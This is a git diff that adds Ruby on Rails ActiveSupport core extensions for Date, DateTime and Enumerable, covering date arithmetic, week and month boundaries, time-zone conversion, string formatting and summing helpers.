diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb
new file mode 100644
index 0000000..106a656
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -0,0 +1,122 @@
+require 'date'
+require 'active_support/duration'
+require 'active_support/core_ext/object/acts_like'
+require 'active_support/core_ext/date/zones'
+require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/date_and_time/calculations'
+
+class Date
+ include DateAndTime::Calculations
+
+ class << self
+ attr_accessor :beginning_of_week_default
+
+ # Returns the week start (e.g. :monday) for the current request, if this has been set (via Date.beginning_of_week=).
+ # If <tt>Date.beginning_of_week</tt> has not been set for the current request, returns the week start specified in <tt>config.beginning_of_week</tt>.
+ # If no config.beginning_of_week was specified, returns :monday.
+ def beginning_of_week
+ Thread.current[:beginning_of_week] || beginning_of_week_default || :monday
+ end
+
+ # Sets <tt>Date.beginning_of_week</tt> to a week start (e.g. :monday) for current request/thread.
+ #
+ # This method accepts any of the following day symbols:
+ # :monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday
+ def beginning_of_week=(week_start)
+ Thread.current[:beginning_of_week] = find_beginning_of_week!(week_start)
+ end
+
+ # Returns week start day symbol (e.g. :monday), or raises an ArgumentError for invalid day symbol.
+ def find_beginning_of_week!(week_start)
+ raise ArgumentError, "Invalid beginning of week: #{week_start}" unless ::Date::DAYS_INTO_WEEK.key?(week_start)
+ week_start
+ end
+
+ # Returns a new Date representing the date 1 day ago (i.e. yesterday's date).
+ def yesterday
+ ::Date.current.yesterday
+ end
+
+ # Returns a new Date representing the date 1 day after today (i.e. tomorrow's date).
+ def tomorrow
+ ::Date.current.tomorrow
+ end
+
+ # Returns Time.zone.today when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns Date.today.
+ def current
+ ::Time.zone ? ::Time.zone.today : ::Date.today
+ end
+ end
+
+ # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
+ # and then subtracts the specified number of seconds.
+ def ago(seconds)
+ in_time_zone.since(-seconds)
+ end
+
+ # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
+ # and then adds the specified number of seconds
+ def since(seconds)
+ in_time_zone.since(seconds)
+ end
+ alias :in :since
+
+ # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
+ def beginning_of_day
+ in_time_zone
+ end
+ alias :midnight :beginning_of_day
+ alias :at_midnight :beginning_of_day
+ alias :at_beginning_of_day :beginning_of_day
+
+ # Converts Date to a Time (or DateTime if necessary) with the time portion set to the end of the day (23:59:59)
+ def end_of_day
+ in_time_zone.end_of_day
+ end
+ alias :at_end_of_day :end_of_day
+
+ def plus_with_duration(other) #:nodoc:
+ if ActiveSupport::Duration === other
+ other.since(self)
+ else
+ plus_without_duration(other)
+ end
+ end
+ alias_method :plus_without_duration, :+
+ alias_method :+, :plus_with_duration
+
+ def minus_with_duration(other) #:nodoc:
+ if ActiveSupport::Duration === other
+ plus_with_duration(-other)
+ else
+ minus_without_duration(other)
+ end
+ end
+ alias_method :minus_without_duration, :-
+ alias_method :-, :minus_with_duration
+
+ # Provides precise Date calculations for years, months, and days. The +options+ parameter takes a hash with
+ # any of these keys: <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>.
+ def advance(options)
+ options = options.dup
+ d = self
+ d = d >> options.delete(:years) * 12 if options[:years]
+ d = d >> options.delete(:months) if options[:months]
+ d = d + options.delete(:weeks) * 7 if options[:weeks]
+ d = d + options.delete(:days) if options[:days]
+ d
+ end
+
+ # Returns a new Date where one or more of the elements have been changed according to the +options+ parameter.
+ # The +options+ parameter is a hash with a combination of these keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>.
+ #
+ # Date.new(2007, 5, 12).change(day: 1) # => Date.new(2007, 5, 1)
+ # Date.new(2007, 5, 12).change(year: 2005, month: 1) # => Date.new(2005, 1, 12)
+ def change(options)
+ ::Date.new(
+ options.fetch(:year, year),
+ options.fetch(:month, month),
+ options.fetch(:day, day)
+ )
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
new file mode 100644
index 0000000..cdf606f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -0,0 +1,84 @@
+require 'date'
+require 'active_support/inflector/methods'
+require 'active_support/core_ext/date/zones'
+require 'active_support/core_ext/module/remove_method'
+
+class Date
+ DATE_FORMATS = {
+ :short => '%e %b',
+ :long => '%B %e, %Y',
+ :db => '%Y-%m-%d',
+ :number => '%Y%m%d',
+ :long_ordinal => lambda { |date|
+ day_format = ActiveSupport::Inflector.ordinalize(date.day)
+ date.strftime("%B #{day_format}, %Y") # => "April 25th, 2007"
+ },
+ :rfc822 => '%e %b %Y'
+ }
+
+ # Ruby 1.9 has Date#to_time which converts to localtime only.
+ remove_method :to_time
+
+ # Ruby 1.9 has Date#xmlschema which converts to a string without the time component.
+ remove_method :xmlschema
+
+ # Convert to a formatted string. See DATE_FORMATS for predefined formats.
+ #
+ # This method is aliased to <tt>to_s</tt>.
+ #
+ # date = Date.new(2007, 11, 10) # => Sat, 10 Nov 2007
+ #
+ # date.to_formatted_s(:db) # => "2007-11-10"
+ # date.to_s(:db) # => "2007-11-10"
+ #
+ # date.to_formatted_s(:short) # => "10 Nov"
+ # date.to_formatted_s(:long) # => "November 10, 2007"
+ # date.to_formatted_s(:long_ordinal) # => "November 10th, 2007"
+ # date.to_formatted_s(:rfc822) # => "10 Nov 2007"
+ #
+ # == Adding your own time formats to to_formatted_s
+ # You can add your own formats to the Date::DATE_FORMATS hash.
+ # Use the format name as the hash key and either a strftime string
+ # or Proc instance that takes a date argument as the value.
+ #
+ # # config/initializers/time_formats.rb
+ # Date::DATE_FORMATS[:month_and_year] = '%B %Y'
+ # Date::DATE_FORMATS[:short_ordinal] = ->(date) { date.strftime("%B #{date.day.ordinalize}") }
+ def to_formatted_s(format = :default)
+ if formatter = DATE_FORMATS[format]
+ if formatter.respond_to?(:call)
+ formatter.call(self).to_s
+ else
+ strftime(formatter)
+ end
+ else
+ to_default_s
+ end
+ end
+ alias_method :to_default_s, :to_s
+ alias_method :to_s, :to_formatted_s
+
+ # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005"
+ def readable_inspect
+ strftime('%a, %d %b %Y')
+ end
+ alias_method :default_inspect, :inspect
+ alias_method :inspect, :readable_inspect
+
+ # Converts a Date instance to a Time, where the time is set to the beginning of the day.
+ # The timezone can be either :local or :utc (default :local).
+ #
+ # date = Date.new(2007, 11, 10) # => Sat, 10 Nov 2007
+ #
+ # date.to_time # => Sat Nov 10 00:00:00 0800 2007
+ # date.to_time(:local) # => Sat Nov 10 00:00:00 0800 2007
+ #
+ # date.to_time(:utc) # => Sat Nov 10 00:00:00 UTC 2007
+ def to_time(form = :local)
+ ::Time.send(form, year, month, day)
+ end
+
+ def xmlschema
+ in_time_zone.xmlschema
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/date/infinite_comparable.rb b/activesupport/lib/active_support/core_ext/date/infinite_comparable.rb
new file mode 100644
index 0000000..ca5d793
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date/infinite_comparable.rb
@@ -0,0 +1,5 @@
+require 'active_support/core_ext/infinite_comparable'
+
+class Date
+ include InfiniteComparable
+end
diff --git a/activesupport/lib/active_support/core_ext/date/zones.rb b/activesupport/lib/active_support/core_ext/date/zones.rb
new file mode 100644
index 0000000..b454867
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date/zones.rb
@@ -0,0 +1,37 @@
+require 'date'
+require 'active_support/core_ext/time/zones'
+
+class Date
+ # *DEPRECATED*: Use +Date#in_time_zone+ instead.
+ #
+ # Converts Date to a TimeWithZone in the current zone if <tt>Time.zone</tt> or
+ # <tt>Time.zone_default</tt> is set, otherwise converts Date to a Time via
+ # Date#to_time.
+ def to_time_in_current_zone
+ ActiveSupport::Deprecation.warn 'Date#to_time_in_current_zone is deprecated. Use Date#in_time_zone instead', caller
+
+ if ::Time.zone
+ ::Time.zone.local(year, month, day)
+ else
+ to_time
+ end
+ end
+
+ # Converts Date to a TimeWithZone in the current zone if Time.zone or Time.zone_default
+ # is set, otherwise converts Date to a Time via Date#to_time
+ #
+ # Time.zone = 'Hawaii' # => 'Hawaii'
+ # Date.new(2000).in_time_zone # => Sat, 01 Jan 2000 00:00:00 HST -10:00
+ #
+ # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
+ # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
+ #
+ # Date.new(2000).in_time_zone('Alaska') # => Sat, 01 Jan 2000 00:00:00 AKST -09:00
+ def in_time_zone(zone = ::Time.zone)
+ if zone
+ ::Time.find_zone!(zone).local(year, month, day)
+ else
+ to_time
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
new file mode 100644
index 0000000..0d14cba
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
@@ -0,0 +1,232 @@
+module DateAndTime
+ module Calculations
+ DAYS_INTO_WEEK = {
+ :monday => 0,
+ :tuesday => 1,
+ :wednesday => 2,
+ :thursday => 3,
+ :friday => 4,
+ :saturday => 5,
+ :sunday => 6
+ }
+
+ # Returns a new date/time representing yesterday.
+ def yesterday
+ advance(:days => -1)
+ end
+
+ # Returns a new date/time representing tomorrow.
+ def tomorrow
+ advance(:days => 1)
+ end
+
+ # Returns true if the date/time is today.
+ def today?
+ to_date == ::Date.current
+ end
+
+ # Returns true if the date/time is in the past.
+ def past?
+ self < self.class.current
+ end
+
+ # Returns true if the date/time is in the future.
+ def future?
+ self > self.class.current
+ end
+
+ # Returns a new date/time the specified number of days ago.
+ def days_ago(days)
+ advance(:days => -days)
+ end
+
+ # Returns a new date/time the specified number of days in the future.
+ def days_since(days)
+ advance(:days => days)
+ end
+
+ # Returns a new date/time the specified number of weeks ago.
+ def weeks_ago(weeks)
+ advance(:weeks => -weeks)
+ end
+
+ # Returns a new date/time the specified number of weeks in the future.
+ def weeks_since(weeks)
+ advance(:weeks => weeks)
+ end
+
+ # Returns a new date/time the specified number of months ago.
+ def months_ago(months)
+ advance(:months => -months)
+ end
+
+ # Returns a new date/time the specified number of months in the future.
+ def months_since(months)
+ advance(:months => months)
+ end
+
+ # Returns a new date/time the specified number of years ago.
+ def years_ago(years)
+ advance(:years => -years)
+ end
+
+ # Returns a new date/time the specified number of years in the future.
+ def years_since(years)
+ advance(:years => years)
+ end
+
+ # Returns a new date/time at the start of the month.
+ # DateTime objects will have a time set to 0:00.
+ def beginning_of_month
+ first_hour{ change(:day => 1) }
+ end
+ alias :at_beginning_of_month :beginning_of_month
+
+ # Returns a new date/time at the start of the quarter.
+ # Example: 1st January, 1st July, 1st October.
+ # DateTime objects will have a time set to 0:00.
+ def beginning_of_quarter
+ first_quarter_month = [10, 7, 4, 1].detect { |m| m <= month }
+ beginning_of_month.change(:month => first_quarter_month)
+ end
+ alias :at_beginning_of_quarter :beginning_of_quarter
+
+ # Returns a new date/time at the end of the quarter.
+ # Example: 31st March, 30th June, 30th September.
+ # DateTime objects will have a time set to 23:59:59.
+ def end_of_quarter
+ last_quarter_month = [3, 6, 9, 12].detect { |m| m >= month }
+ beginning_of_month.change(:month => last_quarter_month).end_of_month
+ end
+ alias :at_end_of_quarter :end_of_quarter
+
+ # Return a new date/time at the beginning of the year.
+ # Example: 1st January.
+ # DateTime objects will have a time set to 0:00.
+ def beginning_of_year
+ change(:month => 1).beginning_of_month
+ end
+ alias :at_beginning_of_year :beginning_of_year
+
+ # Returns a new date/time representing the given day in the next week.
+ # The +given_day_in_next_week+ defaults to the beginning of the week
+ # which is determined by +Date.beginning_of_week+ or +config.beginning_of_week+
+ # when set. +DateTime+ objects have their time set to 0:00.
+ def next_week(given_day_in_next_week = Date.beginning_of_week)
+ first_hour{ weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week)) }
+ end
+
+ # Short-hand for months_since(1).
+ def next_month
+ months_since(1)
+ end
+
+ # Short-hand for months_since(3)
+ def next_quarter
+ months_since(3)
+ end
+
+ # Short-hand for years_since(1).
+ def next_year
+ years_since(1)
+ end
+
+ # Returns a new date/time representing the given day in the previous week.
+ # Week is assumed to start on +start_day+, default is
+ # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+ # DateTime objects have their time set to 0:00.
+ def prev_week(start_day = Date.beginning_of_week)
+ first_hour{ weeks_ago(1).beginning_of_week.days_since(days_span(start_day)) }
+ end
+ alias_method :last_week, :prev_week
+
+ # Short-hand for months_ago(1).
+ def prev_month
+ months_ago(1)
+ end
+ alias_method :last_month, :prev_month
+
+ # Short-hand for months_ago(3).
+ def prev_quarter
+ months_ago(3)
+ end
+ alias_method :last_quarter, :prev_quarter
+
+ # Short-hand for years_ago(1).
+ def prev_year
+ years_ago(1)
+ end
+ alias_method :last_year, :prev_year
+
+ # Returns the number of days to the start of the week on the given day.
+ # Week is assumed to start on +start_day+, default is
+ # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+ def days_to_week_start(start_day = Date.beginning_of_week)
+ start_day_number = DAYS_INTO_WEEK[start_day]
+ current_day_number = wday != 0 ? wday - 1 : 6
+ (current_day_number - start_day_number) % 7
+ end
+
+ # Returns a new date/time representing the start of this week on the given day.
+ # Week is assumed to start on +start_day+, default is
+ # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+ # +DateTime+ objects have their time set to 0:00.
+ def beginning_of_week(start_day = Date.beginning_of_week)
+ result = days_ago(days_to_week_start(start_day))
+ acts_like?(:time) ? result.midnight : result
+ end
+ alias :at_beginning_of_week :beginning_of_week
+
+ # Returns Monday of this week assuming that week starts on Monday.
+ # +DateTime+ objects have their time set to 0:00.
+ def monday
+ beginning_of_week(:monday)
+ end
+
+ # Returns a new date/time representing the end of this week on the given day.
+ # Week is assumed to start on +start_day+, default is
+ # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
+ # DateTime objects have their time set to 23:59:59.
+ def end_of_week(start_day = Date.beginning_of_week)
+ last_hour{ days_since(6 - days_to_week_start(start_day)) }
+ end
+ alias :at_end_of_week :end_of_week
+
+ # Returns Sunday of this week assuming that week starts on Monday.
+ # +DateTime+ objects have their time set to 23:59:59.
+ def sunday
+ end_of_week(:monday)
+ end
+
+ # Returns a new date/time representing the end of the month.
+ # DateTime objects will have a time set to 23:59:59.
+ def end_of_month
+ last_day = ::Time.days_in_month(month, year)
+ last_hour{ days_since(last_day - day) }
+ end
+ alias :at_end_of_month :end_of_month
+
+ # Returns a new date/time representing the end of the year.
+ # DateTime objects will have a time set to 23:59:59.
+ def end_of_year
+ change(:month => 12).end_of_month
+ end
+ alias :at_end_of_year :end_of_year
+
+ private
+
+ def first_hour
+ result = yield
+ acts_like?(:time) ? result.change(:hour => 0) : result
+ end
+
+ def last_hour
+ result = yield
+ acts_like?(:time) ? result.end_of_day : result
+ end
+
+ def days_span(day)
+ (DAYS_INTO_WEEK[day] - DAYS_INTO_WEEK[Date.beginning_of_week]) % 7
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time.rb b/activesupport/lib/active_support/core_ext/date_time.rb
new file mode 100644
index 0000000..024af91
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time.rb
@@ -0,0 +1,5 @@
+require 'active_support/core_ext/date_time/acts_like'
+require 'active_support/core_ext/date_time/calculations'
+require 'active_support/core_ext/date_time/conversions'
+require 'active_support/core_ext/date_time/zones'
+require 'active_support/core_ext/date_time/infinite_comparable'
diff --git a/activesupport/lib/active_support/core_ext/date_time/acts_like.rb b/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
new file mode 100644
index 0000000..c79745c
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
@@ -0,0 +1,13 @@
+require 'active_support/core_ext/object/acts_like'
+
+class DateTime
+ # Duck-types as a Date-like class. See Object#acts_like?.
+ def acts_like_date?
+ true
+ end
+
+ # Duck-types as a Time-like class. See Object#acts_like?.
+ def acts_like_time?
+ true
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
new file mode 100644
index 0000000..9f0864d
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
@@ -0,0 +1,157 @@
+require 'active_support/deprecation'
+
+class DateTime
+ class << self
+ # *DEPRECATED*: Use +DateTime.civil_from_format+ directly.
+ def local_offset
+ ActiveSupport::Deprecation.warn 'DateTime.local_offset is deprecated. Use DateTime.civil_from_format directly.'
+
+ ::Time.local(2012).utc_offset.to_r / 86400
+ end
+
+ # Returns <tt>Time.zone.now.to_datetime</tt> when <tt>Time.zone</tt> or
+ # <tt>config.time_zone</tt> are set, otherwise returns
+ # <tt>Time.now.to_datetime</tt>.
+ def current
+ ::Time.zone ? ::Time.zone.now.to_datetime : ::Time.now.to_datetime
+ end
+ end
+
+ # Tells whether the DateTime object's datetime lies in the past.
+ def past?
+ self < ::DateTime.current
+ end
+
+ # Tells whether the DateTime object's datetime lies in the future.
+ def future?
+ self > ::DateTime.current
+ end
+
+ # Seconds since midnight: DateTime.now.seconds_since_midnight.
+ def seconds_since_midnight
+ sec + (min * 60) + (hour * 3600)
+ end
+
+ # Returns the number of seconds until 23:59:59.
+ #
+ # DateTime.new(2012, 8, 29, 0, 0, 0).seconds_until_end_of_day # => 86399
+ # DateTime.new(2012, 8, 29, 12, 34, 56).seconds_until_end_of_day # => 41103
+ # DateTime.new(2012, 8, 29, 23, 59, 59).seconds_until_end_of_day # => 0
+ def seconds_until_end_of_day
+ end_of_day.to_i - to_i
+ end
+
+ # Returns a new DateTime where one or more of the elements have been changed
+ # according to the +options+ parameter. The time options (<tt>:hour</tt>,
+ # <tt>:min</tt>, <tt>:sec</tt>) reset cascadingly, so if only the hour is
+ # passed, then minute and sec is set to 0. If the hour and minute is passed,
+ # then sec is set to 0. The +options+ parameter takes a hash with any of these
+ # keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>,
+ # <tt>:min</tt>, <tt>:sec</tt>, <tt>:offset</tt>, <tt>:start</tt>.
+ #
+ # DateTime.new(2012, 8, 29, 22, 35, 0).change(day: 1) # => DateTime.new(2012, 8, 1, 22, 35, 0)
+ # DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1) # => DateTime.new(1981, 8, 1, 22, 35, 0)
+ # DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => DateTime.new(1981, 8, 29, 0, 0, 0)
+ def change(options)
+ ::DateTime.civil(
+ options.fetch(:year, year),
+ options.fetch(:month, month),
+ options.fetch(:day, day),
+ options.fetch(:hour, hour),
+ options.fetch(:min, options[:hour] ? 0 : min),
+ options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec + sec_fraction),
+ options.fetch(:offset, offset),
+ options.fetch(:start, start)
+ )
+ end
+
+ # Uses Date to provide precise Time calculations for years, months, and days.
+ # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
+ # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
+ # <tt>:minutes</tt>, <tt>:seconds</tt>.
+ def advance(options)
+ d = to_date.advance(options)
+ datetime_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
+ seconds_to_advance = \
+ options.fetch(:seconds, 0) +
+ options.fetch(:minutes, 0) * 60 +
+ options.fetch(:hours, 0) * 3600
+
+ if seconds_to_advance.zero?
+ datetime_advanced_by_date
+ else
+ datetime_advanced_by_date.since seconds_to_advance
+ end
+ end
+
+ # Returns a new DateTime representing the time a number of seconds ago.
+ # Do not use this method in combination with x.months, use months_ago instead!
+ def ago(seconds)
+ since(-seconds)
+ end
+
+ # Returns a new DateTime representing the time a number of seconds since the
+ # instance time. Do not use this method in combination with x.months, use
+ # months_since instead!
+ def since(seconds)
+ self + Rational(seconds.round, 86400)
+ end
+ alias :in :since
+
+ # Returns a new DateTime representing the start of the day (0:00).
+ def beginning_of_day
+ change(:hour => 0)
+ end
+ alias :midnight :beginning_of_day
+ alias :at_midnight :beginning_of_day
+ alias :at_beginning_of_day :beginning_of_day
+
+ # Returns a new DateTime representing the end of the day (23:59:59).
+ def end_of_day
+ change(:hour => 23, :min => 59, :sec => 59)
+ end
+ alias :at_end_of_day :end_of_day
+
+ # Returns a new DateTime representing the start of the hour (hh:00:00).
+ def beginning_of_hour
+ change(:min => 0)
+ end
+ alias :at_beginning_of_hour :beginning_of_hour
+
+ # Returns a new DateTime representing the end of the hour (hh:59:59).
+ def end_of_hour
+ change(:min => 59, :sec => 59)
+ end
+ alias :at_end_of_hour :end_of_hour
+
+ # Returns a new DateTime representing the start of the minute (hh:mm:00).
+ def beginning_of_minute
+ change(:sec => 0)
+ end
+ alias :at_beginning_of_minute :beginning_of_minute
+
+ # Returns a new DateTime representing the end of the minute (hh:mm:59).
+ def end_of_minute
+ change(:sec => 59)
+ end
+ alias :at_end_of_minute :end_of_minute
+
+ # Adjusts DateTime to UTC by adding its offset value; offset is set to 0.
+ #
+ # DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)) # => Mon, 21 Feb 2005 10:11:12 -0600
+ # DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc # => Mon, 21 Feb 2005 16:11:12 +0000
+ def utc
+ new_offset(0)
+ end
+ alias_method :getutc, :utc
+
+ # Returns +true+ if <tt>offset == 0</tt>.
+ def utc?
+ offset == 0
+ end
+
+ # Returns the offset value in seconds.
+ def utc_offset
+ (offset * 86400).to_i
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
new file mode 100644
index 0000000..b7d8414
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -0,0 +1,91 @@
+require 'active_support/inflector/methods'
+require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/date_time/calculations'
+require 'active_support/values/time_zone'
+
+class DateTime
+ # Convert to a formatted string. See Time::DATE_FORMATS for predefined formats.
+ #
+ # This method is aliased to <tt>to_s</tt>.
+ #
+ # === Examples
+ # datetime = DateTime.civil(2007, 12, 4, 0, 0, 0, 0) # => Tue, 04 Dec 2007 00:00:00 +0000
+ #
+ # datetime.to_formatted_s(:db) # => "2007-12-04 00:00:00"
+ # datetime.to_s(:db) # => "2007-12-04 00:00:00"
+ # datetime.to_s(:number) # => "20071204000000"
+ # datetime.to_formatted_s(:short) # => "04 Dec 00:00"
+ # datetime.to_formatted_s(:long) # => "December 04, 2007 00:00"
+ # datetime.to_formatted_s(:long_ordinal) # => "December 4th, 2007 00:00"
+ # datetime.to_formatted_s(:rfc822) # => "Tue, 04 Dec 2007 00:00:00 +0000"
+ #
+ # == Adding your own datetime formats to to_formatted_s
+ # DateTime formats are shared with Time. You can add your own to the
+ # Time::DATE_FORMATS hash. Use the format name as the hash key and
+ # either a strftime string or Proc instance that takes a time or
+ # datetime argument as the value.
+ #
+ # # config/initializers/time_formats.rb
+ # Time::DATE_FORMATS[:month_and_year] = '%B %Y'
+ # Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
+ def to_formatted_s(format = :default)
+ if formatter = ::Time::DATE_FORMATS[format]
+ formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+ else
+ to_default_s
+ end
+ end
+ alias_method :to_default_s, :to_s if instance_methods(false).include?(:to_s)
+ alias_method :to_s, :to_formatted_s
+
+ #
+ # datetime = DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-6, 24))
+ # datetime.formatted_offset # => "-06:00"
+ # datetime.formatted_offset(false) # => "-0600"
+ def formatted_offset(colon = true, alternate_utc_string = nil)
+ utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon)
+ end
+
+ # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005 14:30:00 +0000".
+ def readable_inspect
+ to_s(:rfc822)
+ end
+ alias_method :default_inspect, :inspect
+ alias_method :inspect, :readable_inspect
+
+ # Returns DateTime with local offset for given year if format is local else
+ # offset is zero.
+ #
+ # DateTime.civil_from_format :local, 2012
+ # # => Sun, 01 Jan 2012 00:00:00 +0300
+ # DateTime.civil_from_format :local, 2012, 12, 17
+ # # => Mon, 17 Dec 2012 00:00:00 +0000
+ def self.civil_from_format(utc_or_local, year, month=1, day=1, hour=0, min=0, sec=0)
+ if utc_or_local.to_sym == :local
+ offset = ::Time.local(year, month, day).utc_offset.to_r / 86400
+ else
+ offset = 0
+ end
+ civil(year, month, day, hour, min, sec, offset)
+ end
+
+ # Converts +self+ to a floating-point number of seconds since the Unix epoch.
+ def to_f
+ seconds_since_unix_epoch.to_f
+ end
+
+ # Converts +self+ to an integer number of seconds since the Unix epoch.
+ def to_i
+ seconds_since_unix_epoch.to_i
+ end
+
+ private
+
+ def offset_in_seconds
+ (offset * 86400).to_i
+ end
+
+ def seconds_since_unix_epoch
+ (jd - 2440588) * 86400 - offset_in_seconds + seconds_since_midnight
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time/infinite_comparable.rb b/activesupport/lib/active_support/core_ext/date_time/infinite_comparable.rb
new file mode 100644
index 0000000..8a282b1
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time/infinite_comparable.rb
@@ -0,0 +1,5 @@
+require 'active_support/core_ext/infinite_comparable'
+
+class DateTime
+ include InfiniteComparable
+end
diff --git a/activesupport/lib/active_support/core_ext/date_time/zones.rb b/activesupport/lib/active_support/core_ext/date_time/zones.rb
new file mode 100644
index 0000000..6457ffb
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_time/zones.rb
@@ -0,0 +1,24 @@
+require 'active_support/core_ext/time/zones'
+
+class DateTime
+ # Returns the simultaneous time in <tt>Time.zone</tt>.
+ #
+ # Time.zone = 'Hawaii' # => 'Hawaii'
+ # DateTime.new(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+ #
+ # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt>
+ # as the local zone instead of the operating system's time zone.
+ #
+ # You can also pass in a TimeZone instance or string that identifies a TimeZone
+ # as an argument, and the conversion will be based on that zone instead of
+ # <tt>Time.zone</tt>.
+ #
+ # DateTime.new(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+ def in_time_zone(zone = ::Time.zone)
+ if zone
+ ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
+ else
+ self
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb
new file mode 100644
index 0000000..4501b7f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -0,0 +1,80 @@
+module Enumerable
+ # Calculates a sum from the elements.
+ #
+ # payments.sum { |p| p.price * p.tax_rate }
+ # payments.sum(&:price)
+ #
+ # The latter is a shortcut for:
+ #
+ # payments.inject(0) { |sum, p| sum + p.price }
+ #
+ # It can also calculate the sum without the use of a block.
+ #
+ # [5, 15, 10].sum # => 30
+ # ['foo', 'bar'].sum # => "foobar"
+ # [[1, 2], [3, 1, 5]].sum => [1, 2, 3, 1, 5]
+ #
+ # The default sum of an empty list is zero. You can override this default:
+ #
+ # [].sum(Payment.new(0)) { |i| i.amount } # => Payment.new(0)
+ def sum(identity = 0, &block)
+ if block_given?
+ map(&block).sum(identity)
+ else
+ inject { |sum, element| sum + element } || identity
+ end
+ end
+
+ # Convert an enumerable to a hash.
+ #
+ # people.index_by(&:login)
+ # => { "nextangle" => <Person ...>, "chade-" => <Person ...>, ...}
+ # people.index_by { |person| "#{person.first_name} #{person.last_name}" }
+ # => { "Chade- Fowlersburg-e" => <Person ...>, "David Heinemeier Hansson" => <Person ...>, ...}
+ def index_by
+ if block_given?
+ Hash[map { |elem| [yield(elem), elem] }]
+ else
+ to_enum :index_by
+ end
+ end
+
+ # Returns +true+ if the enumerable has more than 1 element. Functionally
+ # equivalent to <tt>enum.to_a.size > 1</tt>. Can be called with a block too,
+ # much like any?, so <tt>people.many? { |p| p.age > 26 }</tt> returns +true+
+ # if more than one person is over 26.
+ def many?
+ cnt = 0
+ if block_given?
+ any? do |element|
+ cnt += 1 if yield element
+ cnt > 1
+ end
+ else
+ any? { (cnt += 1) > 1 }
+ end
+ end
+
+ # The negative of the <tt>Enumerable#include?</tt>. Returns +true+ if the
+ # collection does not include the object.
+ def exclude?(object)
+ !include?(object)
+ end
+end
+
+class Range #:nodoc:
+ # Optimize range sum to use arithmetic progression if a block is not given and
+ # we have a range of numeric values.
+ def sum(identity = 0)
+ if block_given? || !(first.is_a?(Integer) && last.is_a?(Integer))
+ super
+ else
+ actual_last = exclude_end? ? (last - 1) : last
+ if actual_last >= first
+ (actual_last - first + 1) * (actual_last + first) / 2
+ else
+ identity
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/file.rb b/activesupport/lib/active_support/core_ext/file.rb
new file mode 100644
index 0000000..dc24afb
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/file.rb
@@ -0,0 +1 @@
+require 'active_support/core_ext/file/atomic'
